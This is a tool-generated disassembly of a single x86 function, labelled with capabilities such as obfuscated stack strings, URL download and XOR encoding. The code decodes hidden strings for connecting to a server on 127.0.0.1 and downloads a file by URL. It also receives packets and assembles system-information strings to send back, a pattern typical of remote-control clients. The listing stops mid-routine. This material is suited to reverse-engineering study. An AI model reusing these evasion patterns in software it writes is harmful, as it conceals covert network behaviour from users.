Function at 0x401ef0
Capabilities:
Contain obfuscated stackstrings
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4066fa
mov eax, dword fs:[0]
push eax
sub esp, 0x63c
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x4a0]
call fcn.00404ac0
mov dword [ebp - 4], 0
xor edx, edx
mov dword [ebp - 0x4dc], 0x65
mov byte [ebp - 0x4d8], 0x54
mov byte [ebp - 0x4d7], 0x57
mov byte [ebp - 0x4d6], 0x52
mov byte [ebp - 0x4d5], 0x4b
mov byte [ebp - 0x4d4], 0x55
mov byte [ebp - 0x4d3], 0x4b
mov byte [ebp - 0x4d2], 0x55
mov byte [ebp - 0x4d1], 0x4b
mov byte [ebp - 0x4d0], 0x54
mov al, byte [ebp - 0x4d8]
mov byte [ebp - 0x4cf], 0
nop word [eax + eax]
mov al, byte [ebp + edx - 0x4d8]
mov ecx, dword [ebp - 0x4dc]
xor cl, al
mov byte [ebp + edx - 0x4d8], cl
inc edx
cmp edx, 9
jb 0x401f90
lea eax, [ebp - 0x4d8]
mov byte [ebp - 0x4cf], 0
push eax
lea ecx, [ebp - 0x47c]
call fcn.00404900
push 0
push 0
push str.image.jpg
push str.https:__www.shutterstock.com_shutterstock_photos_290775059_display_1500_stock_photo_businessman_finger_click_download_businessman_pushing_button_web_download_icon_290775059.jpg
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop dword [eax + eax]
mov byte [ebp - 0x4c4], 0x4a
xor ecx, ecx
mov byte [ebp - 0x4c3], 0x76
mov byte [ebp - 0x4c2], 0x75
mov byte [ebp - 0x4c1], 0x75
mov byte [ebp - 0x4c0], 0x6c
mov byte [ebp - 0x4bf], 0x6a
mov byte [ebp - 0x4be], 0x7b
mov byte [ebp - 0x4bd], 0x70
mov byte [ebp - 0x4bc], 0x75
mov byte [ebp - 0x4bb], 0x6e
mov byte [ebp - 0x4ba], 0x27
mov byte [ebp - 0x4b9], 0x7b
mov byte [ebp - 0x4b8], 0x76
mov byte [ebp - 0x4b7], 0x27
mov byte [ebp - 0x4b6], 0x7b
mov byte [ebp - 0x4b5], 0x6f
mov byte [ebp - 0x4b4], 0x6c
mov byte [ebp - 0x4b3], 0x27
mov byte [ebp - 0x4b2], 0x5a
mov byte [ebp - 0x4b1], 0x6c
mov byte [ebp - 0x4b0], 0x79
mov byte [ebp - 0x4af], 0x7d
mov byte [ebp - 0x4ae], 0x6c
mov byte [ebp - 0x4ad], 0x79
mov byte [ebp - 0x4ac], 0
mov al, byte [ebp - 0x4c4]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4c4]
sub al, 7
mov byte [ebp + ecx - 0x4c4], al
inc ecx
cmp ecx, 0x18
jb 0x4020a0
push 0x403f20
lea eax, [ebp - 0x4c4]
push eax
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403cf0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [0x40a234]
lea eax, [ebp - 0x47c]
push dword [0x40a230]
lea ecx, [ebp - 0x4a0]
push 0x18f1
push eax
call fcn.00404b90
test eax, eax
je 0x402329
mov dword [ebp - 0x470], 0x1c
xor edx, edx
mov byte [ebp - 0x46c], 0x59
mov byte [ebp - 0x46b], 0x6e
mov byte [ebp - 0x46a], 0x6e
mov byte [ebp - 0x469], 0x73
mov byte [ebp - 0x468], 0x6e
mov byte [ebp - 0x467], 0x3c
mov byte [ebp - 0x466], 0x7f
mov byte [ebp - 0x465], 0x73
mov byte [ebp - 0x464], 0x72
mov byte [ebp - 0x463], 0x72
mov byte [ebp - 0x462], 0x79
mov byte [ebp - 0x461], 0x7f
mov byte [ebp - 0x460], 0x68
mov byte [ebp - 0x45f], 0x75
mov byte [ebp - 0x45e], 0x72
mov byte [ebp - 0x45d], 0x7b
mov byte [ebp - 0x45c], 0x3c
mov byte [ebp - 0x45b], 0x68
mov byte [ebp - 0x45a], 0x73
mov byte [ebp - 0x459], 0x3c
mov byte [ebp - 0x458], 0x68
mov byte [ebp - 0x457], 0x74
mov byte [ebp - 0x456], 0x79
mov byte [ebp - 0x455], 0x3c
mov byte [ebp - 0x454], 0x6f
mov byte [ebp - 0x453], 0x79
mov byte [ebp - 0x452], 0x6e
mov byte [ebp - 0x451], 0x6a
mov byte [ebp - 0x450], 0x79
mov byte [ebp - 0x44f], 0x6e
mov byte [ebp - 0x44e], 0x32
mov byte [ebp - 0x44d], 0x3c
mov byte [ebp - 0x44c], 0x4e
mov byte [ebp - 0x44b], 0x79
mov byte [ebp - 0x44a], 0x7f
mov byte [ebp - 0x449], 0x73
mov byte [ebp - 0x448], 0x72
mov byte [ebp - 0x447], 0x72
mov byte [ebp - 0x446], 0x79
mov byte [ebp - 0x445], 0x7f
mov byte [ebp - 0x444], 0x68
mov byte [ebp - 0x443], 0x75
mov byte [ebp - 0x442], 0x72
mov byte [ebp - 0x441], 0x7b
mov byte [ebp - 0x440], 0x3c
mov byte [ebp - 0x43f], 0x75
mov byte [ebp - 0x43e], 0x72
mov byte [ebp - 0x43d], 0x3c
mov byte [ebp - 0x43c], 0x29
mov byte [ebp - 0x43b], 0x3c
mov byte [ebp - 0x43a], 0x6f
mov byte [ebp - 0x439], 0x79
mov byte [ebp - 0x438], 0x7f
mov byte [ebp - 0x437], 0x73
mov byte [ebp - 0x436], 0x72
mov byte [ebp - 0x435], 0x78
mov byte [ebp - 0x434], 0x6f
mov byte [ebp - 0x433], 0x32
mov byte [ebp - 0x432], 0x32
mov byte [ebp - 0x431], 0x32
mov al, byte [ebp - 0x46c]
mov byte [ebp - 0x430], 0
mov al, byte [ebp + edx - 0x46c]
mov ecx, dword [ebp - 0x470]
xor cl, al
mov byte [ebp + edx - 0x46c], cl
inc edx
cmp edx, 0x3c
jb 0x4022c0
push 0x403f20
lea eax, [ebp - 0x46c]
mov byte [ebp - 0x430], 0
push eax
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403cf0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x4e4]
mov dword [ebp - 0x4e4], 5
mov dword [ebp - 0x4e0], 0
call fcn.00403f50
jmp 0x401fe0
mov byte [ebp - 0x454], 0x5d
xor ecx, ecx
mov byte [ebp - 0x453], 0x7f
mov byte [ebp - 0x452], 0x6d
mov byte [ebp - 0x451], 0x6d
mov byte [ebp - 0x450], 0x6f
mov byte [ebp - 0x44f], 0x7d
mov byte [ebp - 0x44e], 0x7d
mov byte [ebp - 0x44d], 0x70
mov byte [ebp - 0x44c], 0x7f
mov byte [ebp - 0x44b], 0x76
mov byte [ebp - 0x44a], 0x76
mov byte [ebp - 0x449], 0x83
mov byte [ebp - 0x448], 0x2a
mov byte [ebp - 0x447], 0x6d
mov byte [ebp - 0x446], 0x79
mov byte [ebp - 0x445], 0x78
mov byte [ebp - 0x444], 0x78
mov byte [ebp - 0x443], 0x6f
mov byte [ebp - 0x442], 0x6d
mov byte [ebp - 0x441], 0x7e
mov byte [ebp - 0x440], 0x6f
mov byte [ebp - 0x43f], 0x6e
mov byte [ebp - 0x43e], 0x2a
mov byte [ebp - 0x43d], 0x7e
mov byte [ebp - 0x43c], 0x79
mov byte [ebp - 0x43b], 0x2a
mov byte [ebp - 0x43a], 0x7e
mov byte [ebp - 0x439], 0x72
mov byte [ebp - 0x438], 0x6f
mov byte [ebp - 0x437], 0x2a
mov byte [ebp - 0x436], 0x5d
mov byte [ebp - 0x435], 0x6f
mov byte [ebp - 0x434], 0x7c
mov byte [ebp - 0x433], 0x80
mov byte [ebp - 0x432], 0x6f
mov byte [ebp - 0x431], 0x7c
mov byte [ebp - 0x430], 0
mov al, byte [ebp - 0x454]
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x454]
sub al, 0xa
mov byte [ebp + ecx - 0x454], al
inc ecx
cmp ecx, 0x24
jb 0x402440
lea eax, [ebp - 0x454]
push 0x403f20
push eax
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403cf0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
nop dword [eax + eax]
push 0x400
lea eax, [ebp - 0x42c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x474], 0
lea eax, [ebp - 0x474]
lea ecx, [ebp - 0x4a0]
push eax
push 0x400
lea eax, [ebp - 0x42c]
push eax
call fcn.00404e00
test eax, eax
jne 0x4031d0
cmp dword [ebp - 0x474], eax
jbe 0x402480
mov eax, dword [ebp - 0x424]
lea ecx, [ebp - 0x568]
movq xmm0, qword [ebp - 0x42c]
mov edi, dword [ebp - 0x420]
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x4e8], eax
lea eax, [ebp - 0x5a0]
movq qword [ebp - 0x5a0], xmm0
movq xmm0, qword [ebp - 0x41c]
push eax
movq qword [ebp - 0x4f0], xmm0
call fcn.00403ad0
cmp dword [0x40a674], 0xf
mov ecx, 0x40a660
mov edx, eax
cmova ecx, dword [0x40a660]
cmp dword [eax + 0x14], 0xf
jbe 0x40253b
mov edx, dword [eax]
mov esi, dword [eax + 0x10]
cmp esi, dword [0x40a670]
je 0x40254f
mov byte [ebp - 0x4a5], 0
jmp 0x4025b6
test esi, esi
jne 0x40255c
mov byte [ebp - 0x4a5], 1
jmp 0x4025b6
sub esi, 4
jb 0x402572
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x402577
add edx, 4
add ecx, 4
sub esi, 4
jae 0x402561
cmp esi, 0xfffffffc
je 0x4025ab
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x4025a4
cmp esi, 0xfffffffd
je 0x4025ab
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x4025a4
cmp esi, 0xfffffffe
je 0x4025ab
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x4025a4
cmp esi, 0xffffffff
je 0x4025ab
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x4025ab
sbb eax, eax
or eax, 1
jmp 0x4025ad
xor eax, eax
test eax, eax
sete byte [ebp - 0x4a5]
mov ecx, dword [ebp - 0x554]
cmp ecx, 0xf
jbe 0x4025f0
mov edx, dword [ebp - 0x568]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4025e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
cmp byte [ebp - 0x4a5], 0
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x554], 0xf
mov byte [ebp - 0x568], 0
je 0x402fc4
cmp edi, 1
jne 0x402480
movzx eax, byte [ebp - 0x4f0]
xor al, 0x16
mov dword [ebp - 0x4dc], 0x16
mov byte [ebp - 0x4d8], al
movzx eax, byte [ebp - 0x4ef]
xor al, 0x16
mov byte [ebp - 0x4cd], 0
mov byte [ebp - 0x4d7], al
movzx eax, byte [ebp - 0x4ee]
xor al, 0x16
mov byte [ebp - 0x4d6], al
movzx eax, byte [ebp - 0x4ed]
xor al, 0x16
mov byte [ebp - 0x4d5], al
movzx eax, byte [ebp - 0x4ec]
xor al, 0x16
mov byte [ebp - 0x4d4], al
movzx eax, byte [ebp - 0x4eb]
xor al, 0x16
mov byte [ebp - 0x4d3], al
movzx eax, byte [ebp - 0x4ea]
xor al, 0x16
mov byte [ebp - 0x4d2], al
movzx eax, byte [ebp - 0x4e9]
xor al, 0x16
mov byte [ebp - 0x4d1], al
movzx eax, byte [ebp - 0x4e8]
xor al, 0x16
mov byte [ebp - 0x4d0], al
movzx eax, byte [ebp - 0x4e7]
xor al, 0x16
mov byte [ebp - 0x4cf], al
movzx eax, byte [ebp - 0x4e6]
xor al, 0x16
xor edx, edx
mov byte [ebp - 0x4ce], al
mov al, byte [ebp - 0x4d8]
nop
mov al, byte [ebp + edx - 0x4d8]
mov ecx, dword [ebp - 0x4dc]
xor cl, al
mov byte [ebp + edx - 0x4d8], cl
inc edx
cmp edx, 0xb
jb 0x4026e0
lea eax, [ebp - 0x4d8]
mov byte [ebp - 0x4cd], 0
push eax
lea ecx, [ebp - 0x568]
call fcn.00403ad0
lea ecx, [ebp - 0x5b8]
mov byte [ebp - 4], 1
call fcn.00401a10
mov edi, eax
mov byte [ebp - 4], 2
call fcn.00401940
mov ecx, eax
lea esi, [ebp - 0x13]
mov dword [ebp - 0x4a4], ecx
test ecx, ecx
jns 0x402782
neg ecx
mov dword [ebp - 0x4a4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x4a4]
add cl, cl
sub al, cl
mov ecx, eax
mov dword [ebp - 0x4a4], eax
add cl, 0x30
mov byte [esi], cl
mov ecx, edx
mov dword [ebp - 0x4a4], ecx
test ecx, ecx
jne 0x402746
dec esi
mov byte [esi], 0x2d
jmp 0x4027b8
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x4a4]
add cl, cl
sub al, cl
mov ecx, eax
mov dword [ebp - 0x4a4], eax
add cl, 0x30
mov byte [esi], cl
mov ecx, edx
mov dword [ebp - 0x4a4], ecx
test ecx, ecx
jne 0x402782
push ecx
lea eax, [ebp - 0x13]
push eax
push esi
lea ecx, [ebp - 0x4c0]
call fcn.00404490
mov byte [ebp - 4], 3
call fcn.00401860
mov ecx, eax
lea esi, [ebp - 0x13]
mov dword [ebp - 0x4a4], ecx
nop dword [eax]
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x4a4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x4a4], eax
test eax, eax
jne 0x4027e0
push ecx
lea eax, [ebp - 0x13]
push eax
push esi
lea ecx, [ebp - 0x648]
call fcn.00404490
mov byte [ebp - 4], 4
call fcn.00401820
mov ecx, eax
lea esi, [ebp - 0x13]
mov dword [ebp - 0x4a4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x4a4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x4a4], eax
test eax, eax
jne 0x402834
push ecx
lea eax, [ebp - 0x13]
push eax
push esi
lea ecx, [ebp - 0x630]
call fcn.00404490
lea eax, [ebp - 0x450]
mov byte [ebp - 4], 5
push eax
call dword [0x40a648]
mov ecx, dword [ebp - 0x43c]
lea esi, [ebp - 0x13]
mov dword [ebp - 0x4a4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0x4a4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x4a4], eax
test eax, eax
jne 0x402894
push ecx
lea eax, [ebp - 0x13]
push eax
push esi
lea ecx, [ebp - 0x550]
call fcn.00404490
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x53c]
mov eax, edx
mov ecx, dword [ebp - 0x540]
sub eax, ecx
cmp eax, 1
jb 0x402914
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x540], eax
lea eax, [ebp - 0x550]
cmova eax, dword [ebp - 0x550]
mov word [eax + ecx], 0x7c
lea eax, [ebp - 0x550]
jmp 0x402935
push 1
push 0x4076a4
mov byte [ebp - 0x56c], 0
lea ecx, [ebp - 0x550]
push dword [ebp - 0x56c]
push 1
call fcn.00404150
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x618], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x608], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x630]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x618]
push eax
push dword [ebp - 0x4e0]
lea ecx, [ebp - 0x538]
call fcn.004042b0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x524]
mov eax, edx
mov ecx, dword [ebp - 0x528]
sub eax, ecx
cmp eax, 1
jb 0x4029c0
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x528], eax
lea eax, [ebp - 0x538]
cmova eax, dword [ebp - 0x538]
mov word [eax + ecx], 0x7c
lea eax, [ebp - 0x538]
jmp 0x4029e1
push 1
push 0x4076a4
mov byte [ebp - 0x570], 0
lea ecx, [ebp - 0x538]
push dword [ebp - 0x570]
push 1
call fcn.00404150
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x600], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5f0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x648]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x600]
push eax
push dword [ebp - 0x4e0]
lea ecx, [ebp - 0x520]
call fcn.004042b0
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x50c]
mov eax, edx
mov ecx, dword [ebp - 0x510]
sub eax, ecx
cmp eax, 1
jb 0x402a6c
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x510], eax
lea eax, [ebp - 0x520]
cmova eax, dword [ebp - 0x520]
mov word [eax + ecx], 0x7c
lea eax, [ebp - 0x520]
jmp 0x402a8d
push 1
push 0x4076a4
mov byte [ebp - 0x574], 0
lea ecx, [ebp - 0x520]
push dword [ebp - 0x574]
push 1
call fcn.00404150
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5e8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5d8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x4c0]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x5e8]
push eax
push dword [ebp - 0x4e0]
lea ecx, [ebp - 0x508]
call fcn.004042b0
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x4f4]
mov eax, edx
mov ecx, dword [ebp - 0x4f8]
sub eax, ecx
cmp eax, 1
jb 0x402b18
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x4f8], eax
lea eax, [ebp - 0x508]
cmova eax, dword [ebp - 0x508]
mov word [eax + ecx], 0x7c
lea eax, [ebp - 0x508]
jmp 0x402b39
push 1
push 0x4076a4
mov byte [ebp - 0x4e0], 0
lea ecx, [ebp - 0x508]
push dword [ebp - 0x4e0]
push 1
call fcn.00404150
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5d0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x5c0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea eax, [ebp - 0x5d0]
mov byte [ebp - 4], 0xd
push eax
push dword [ebp - 0x4e0]
lea ecx, [ebp - 0x594]
call fcn.004042b0
lea eax, [ebp - 0x594]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x568]
push eax
lea ecx, [ebp - 0x4a0]
call fcn.00401d40
mov byte [ebp - 4], 0xd
add esp, 8
mov ecx, dword [ebp - 0x580]
cmp ecx, 0xf
jbe 0x402bdc
mov edx, dword [ebp - 0x594]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402bd2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x5bc]
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0xf
mov byte [ebp - 0x594], 0
cmp ecx, 0xf
jbe 0x402c35
mov edx, dword [ebp - 0x5d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402c2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x4f4]
cmp ecx, 0xf
jbe 0x402c73
mov edx, dword [ebp - 0x508]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402c69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x5d4]
mov dword [ebp - 0x4f8], 0
mov dword [ebp - 0x4f4], 0xf
mov byte [ebp - 0x508], 0
cmp ecx, 0xf
jbe 0x402ccc
mov edx, dword [ebp - 0x5e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402cc2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x50c]
cmp ecx, 0xf
jbe 0x402d0a
mov edx, dword [ebp - 0x520]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp - 0x510], 0
mov dword [ebp - 0x50c], 0xf
mov byte [ebp - 0x520], 0
cmp ecx, 0xf
jbe 0x402d63
mov edx, dword [ebp - 0x600]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x524]
cmp ecx, 0xf
jbe 0x402da1
mov edx, dword [ebp - 0x538]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x604]
mov dword [ebp - 0x528], 0
mov dword [ebp - 0x524], 0xf
mov byte [ebp - 0x538], 0
cmp ecx, 0xf
jbe 0x402dfa
mov edx, dword [ebp - 0x618]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402df0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x53c]
cmp ecx, 0xf
jbe 0x402e38
mov edx, dword [ebp - 0x550]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402e2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x61c]
mov dword [ebp - 0x540], 0
mov dword [ebp - 0x53c], 0xf
mov byte [ebp - 0x550], 0
cmp ecx, 0xf
jbe 0x402e91
mov edx, dword [ebp - 0x630]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402e87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x634]
cmp ecx, 0xf
jbe 0x402ecf
mov edx, dword [ebp - 0x648]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402ec5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x4ac]
cmp ecx, 0xf
jbe 0x402f0d
mov edx, dword [ebp - 0x4c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402f03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x5a4]
cmp ecx, 0xf
jbe 0x402f4b
mov edx, dword [ebp - 0x5b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402f41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x5a8], 0
mov dword [ebp - 0x5a4], 0xf
mov byte [ebp - 0x5b8], 0
cmp ecx, 0xf
jbe 0x402fa4
mov edx, dword [ebp - 0x568]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402f9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a11
push ecx
push edx
call fcn.004056b8
add esp, 8
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x554], 0xf
mov byte [ebp - 0x568], 0
jmp 0x402480
mov dword [ebp - 0x4cc], 0xf
mov eax, dword [ebp - 0x4cc]
xor al, 0x55
mov byte [ebp - 0x4c8], al
mov eax, dword [ebp - 0x4cc]
inc al
xor al, 0x6e
mov byte [ebp - 0x4c7], al
mov eax, dword [ebp - 0x4cc]
add al, 2
xor al, 0x61
mov byte [ebp - 0x4c6], al
mov eax, dword [ebp - 0x4cc]
add al, 3
xor al, 0x75
mov byte [ebp - 0x4c5], al
mov eax, dword [ebp - 0x4cc]
add al, 4
xor al, 0x74
mov byte [ebp - 0x4c4], al
mov eax, dword [ebp - 0x4cc]
add al, 5
xor al, 0x68
mov byte [ebp - 0x4c3], al
mov eax, dword [ebp - 0x4cc]
add al, 6
xor al, 0x6f
mov byte [ebp - 0x4c2], al
mov eax, dword [ebp - 0x4cc]
add al, 7
xor al, 0x72
mov byte [ebp - 0x4c1], al
mov eax, dword [ebp - 0x4cc]
add al, 8
xor al, 0x69
mov byte [ebp - 0x4c0], al
mov eax, dword [ebp - 0x4cc]
add al, 9
xor al, 0x7a
mov byte [ebp - 0x4bf], al
mov eax, dword [ebp - 0x4cc]
add al, 0xa
xor al, 0x65
mov byte [ebp - 0x4be], al
mov eax, dword [ebp - 0x4cc]
add al, 0xb
xor al, 0x64
mov byte [ebp - 0x4bd], al
mov eax, dword [ebp - 0x4cc]
add al, 0xc
xor al, 0x20
mov byte [ebp - 0x4bc], al
mov eax, dword [ebp - 0x4cc]
add al, 0xd
xor al, 0x70
mov byte [ebp - 0x4bb], al
mov eax, dword [ebp - 0x4cc]
add al, 0xe
xor al, 0x61
mov byte [ebp - 0x4ba], al
mov eax, dword [ebp - 0x4cc]
add al, 0xf
xor al, 0x63
mov byte [ebp - 0x4b9], al
mov eax, dword [ebp - 0x4cc]
add al, 0x10
xor al, 0x6b
mov byte [ebp - 0x4b8], al
mov eax, dword [ebp - 0x4cc]
add al, 0x11
xor al, 0x65
mov byte [ebp - 0x4b7], al
mov eax, dword [ebp - 0x4cc]
add al, 0x12
xor al, 0x74
mov byte [ebp - 0x4b6], al
mov eax, dword [ebp - 0x4cc]
add al, 0x13
xor al, 0x20
mov byte [ebp - 0x4b5], al
mov eax, dword [ebp - 0x4cc]
add al, 0x14
xor al, 0x72
mov byte [ebp - 0x4b4], al
mov eax, dword [ebp - 0x4cc]
add al, 0x15
xor al, 0x65
mov byte [ebp - 0x4b3], al
mov eax, dword [ebp - 0x4cc]
add al, 0x16
xor al, 0x63
mov byte [ebp - 0x4b2], al
mov eax, dword [ebp - 0x4cc]
add al, 0x17
xor al, 0x65
mov byte [ebp - 0x4b1], al
mov eax, dword [ebp - 0x4cc]
add al, 0x18
xor al, 0x69
mov byte [ebp - 0x4b0], al
